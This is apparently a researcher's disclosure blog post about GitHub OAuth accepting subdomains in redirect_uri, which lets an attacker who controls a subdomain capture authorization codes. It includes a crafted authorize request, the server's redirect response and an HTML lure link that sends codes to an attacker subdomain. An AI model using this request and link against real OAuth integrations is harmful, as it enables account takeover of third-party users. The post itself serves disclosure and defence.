Loose OAuth Callback URL Matching Leaks Response Codes in GitHub

·

3 min read

Below discusses a vulnerability I found in GitHub's OAuth Integration. This affects both Github.com and GitHub Enterprise.

TL;DR

An attacker that can control the subdomain of a domain used in the Authorization callback URL when configuring OAuth integrations, can leak OAuth response codes to their subdomain via a CSRF attack.

Description

Callback URLs (redirect_uri parameters) are not strictly adhered to. An attacker who has control of a target's subdomain (e.g. on a shared service) would be able to perform a CSRF attack to include a different FQDN and leak OAuth response codes, that could then be exchanged for an access token resulting in an account takeover.

Steps To Reproduce

When adding an OAuth application you must specify a callback URL. As part of the protocol, the OAuth response code is sent to this callback URL. The response code is then exchanged for an access token.

The callback URL is defined like so for github.com apps:

Based on this you would expect the redirect_uri (the callback URL) of an OAuth sequence to strictly adhere to this URL. However, this is not the case. A redirect_uri of test_site.oauth.haxx.cc is acceptable. See the screenshot below (the text is also provided below):

Here is the request as text:

GET /login/oauth/authorize?client_id=92...41&redirect_uri=https%3A%2F%2Ftest_site.oauth.haxx.cc%2Fauth%2Fgit%2Fenterprise%2Fcallback&scope=user HTTP/2
Host: github.com
Cookie: ...
Referer: https://haxx.cc/
...

Response:

HTTP/2 302 Found
Server: GitHub.com
Date: Thu, 09 Feb 2023 00:42:41 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame
Location: https://test_site.oauth.haxx.cc/auth/git/enterprise/callback?code=c179<code>fd31
Cache-Control: no-cache
Set-Cookie: has_recent_activity=1;
...

For an attacker who has control of a subdomain, they would then perform a CSRF attack where they would provide the victim user with a pre-populated authorize redirect URL, e.g.

<a href="https://github.com/login/oauth/authorize?client_id=92...41&redirect_uri=https%3A%2F%2Ftest_site.oauth.haxx.cc%2Fauth%2Fgit%2Fenterprise%2Fcallback&scope=user">
click here</a>

This behaviour is defined in the documentation for GitHub.com apps, but not for GitHub Enterprise apps.

Here is a link to the documentation that states this behaviour: https://docs.github.com/en/developers/apps/building-oauth-apps/authorizing-oauth-apps#redirect-urls

Why is this not ok?

Because a user defines a callback URL such as https://oauth.haxx.cc/callback expecting the URL to be strictly adhered to. But it's not. Developers of sites that offer subdomains to their users are unknowingly going to open themselves up to attack.

GitHub Enterprise

GitHub Enterprise Apps are also defined in a similar way, but I could not find any documentation stating that all subdomains are accepted.

https://docs.github.com/en/enterprise-server@3.5/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps

The URL in your application where users will be sent after authorization. This must be an exact match to one of the URLs you provided as a Callback URL when setting up your GitHub App and can't contain any additional parameters.

This indicates that such functionality should not exist in Github Enterprise.

Impact

Account takeover. An attacker who can successfully exploit this vulnerability will be able to take over a victim's account on the third-party site implementing the OAuth integration.

The big limiting factor here is that the attacker would need to obtain a subdomain based on the callback URL. This would be difficult to do, and only likely impact a few users on shared services. The attack would likely vary by implementation. Any site that offers users subdomains and has GitHub OAuth integration is possibly vulnerable.

Alternatively, an attacker could combine this vulnerability with a subdomain takeover. Given how frequent subdomain takeovers are, this presents a real risk.

GitHub's Response

I reported this vulnerability via HackerOne on Feb 9 2023. GitHub closed the report with:

We have reviewed your report and validated your findings. After internally assessing the findings, we have determined that they do not present a significant security risk.

Mitigations

  1. Be aware of this behaviour

  2. Don't use GitHub's OAuth integrations in your application if you offer users subdomains, where they have the opportunity to leak redirect URLs (that contain the response codes).